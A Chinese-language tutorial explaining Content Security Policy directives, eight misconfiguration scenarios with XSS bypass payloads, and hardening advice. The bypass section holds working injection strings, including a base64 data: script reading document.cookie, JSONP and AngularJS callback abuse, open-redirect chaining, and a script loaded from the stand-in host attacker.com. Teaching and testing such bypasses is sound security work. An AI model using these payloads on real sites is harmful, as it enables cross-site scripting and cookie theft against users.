CSP常见配置及绕过姿势
字数 1910 2025-08-15 21:33:19
内容安全策略(CSP)配置与绕过技术详解
1. CSP概述
1.1 什么是CSP
内容安全策略(Content Security Policy, CSP)是一种网页安全机制,通过定义哪些外部资源可以被页面加载和执行来增强安全性。CSP可以通过HTTP响应头或HTML元标签实现。
1.2 CSP的作用
- 主要防御XSS攻击
- 指定允许使用的协议
- 提供详细的防御攻击细节
- 增强网页对外部攻击的防御能力
2. CSP工作原理
CSP通过定义资源加载策略来工作。例如,站点abc.com允许从自身和allowed.com加载资源:
Content-Security-Policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
或通过HTML元标签:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://* ; child-src 'none';">
3. CSP指令详解
3.1 主要指令
| 指令 | 描述 |
|---|---|
script-src |
定义可执行的JavaScript源 |
default-src |
默认策略,其他未指定指令的默认值 |
child-src |
定义子内容(如workers)的源 |
connect-src |
限制通过XHR、WebSocket等的连接 |
frame-src |
定义可嵌入的frame源 |
frame-ancestors |
指定可嵌入当前页面的内容 |
img-src |
定义可加载的图片源 |
manifest-src |
定义应用manifest文件的源 |
media-src |
定义可加载的媒体文件源 |
object-src |
定义可加载的插件对象源 |
form-action |
限制表单提交的目标 |
plugin-types |
定义允许的插件MIME类型 |
upgrade-insecure-requests |
将HTTP请求升级为HTTPS |
3.2 指令值
| 值 | 描述 |
|---|---|
* |
允许任何URL资源 |
'self' |
仅允许同源资源 |
data: |
允许data:协议资源 |
'none' |
不允许任何资源 |
'unsafe-inline' |
允许内联资源(不推荐) |
nonce |
使用一次性加密字符允许特定内联脚本 |
'unsafe-eval' |
允许eval()等动态代码执行(不推荐) |
4. CSP配置示例分析
4.1 基本配置示例
Content-Security-Policy: default-src 'self'; script-src https://example.com; report-uri: /Report-parsing-url;
- 允许同源图片(``)
- 允许来自example.com的脚本(
<script src=script.js>) - 禁止来自examples.com的脚本(
<script src=https://examples.com/script.js>) - 禁止内联脚本(
<script>alert(xss)</script>)
4.2 继承规则
未明确指定的指令会继承default-src的值,包括:
child-srcconnect-srcfont-srcframe-srcimg-srcmanifest-srcmedia-srcobject-srcprefetch-srcscript-srcstyle-srcworker-src
5. CSP绕过技术
5.1 场景1:允许内联脚本
配置:
script-src https://sina.com https://baidu.com 'unsafe-inline' https://*;
绕过方式:
"/><script>alert(xss);</script>
5.2 场景2:允许data协议和eval
配置:
script-src https://sina.com https://baidu.com 'unsafe-eval' data: http://*;
绕过方式:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>
5.3 场景3:通配符滥用
配置:
script-src 'self' https://sina.com https://baidu.com https: data *;
绕过方式:
"/><script src=https://attacker.com/evil.js></script>
"/><script src=data:text/javascript,alert(1337)></script>
5.4 场景4:缺少object-src
配置:
script-src 'self'; report-uri /Report-parsing-url;
绕过方式:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<object type="application/x-shockwave-flash" data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//'>
<param name="AllowScriptAccess" value="always">
</object>
5.5 场景5:JSONP回调绕过
配置:
script-src 'self' https://www.baidu.com; object-src 'none';
绕过方式:
"><script src="https://www.baidu.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
5.6 场景6:AngularJS回调
配置:
script-src 'self' ajax.googleapis.com; object-src 'none';
绕过方式:
ng-app"ng-csp ng-click=$event.view.alert(1337)>
<script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
5.7 场景7:开放重定向
配置:
script-src 'self' accounts.google.com/random/ website.with.redirect.com;
绕过方式:
"><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>
5.8 场景8:iframe srcdoc绕过
配置:
default-src 'self' data:*; script-src 'self';
绕过方式:
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
6. CSP分析工具
7. 安全建议
- 避免使用
unsafe-inline和unsafe-eval - 正确使用
nonce代替内联脚本 - 明确指定所有资源指令,不要依赖
default-src - 特别注意
object-src,建议设置为'none' - 实施报告机制(
report-uri) - 不要仅依赖CSP防御XSS,应结合输入过滤和输出编码
8. 总结
CSP是防御XSS等攻击的有效机制,但配置不当可能被绕过。正确的CSP配置应:
- 最小化权限
- 避免使用不安全指令
- 全面覆盖所有资源类型
- 结合其他安全措施实现纵深防御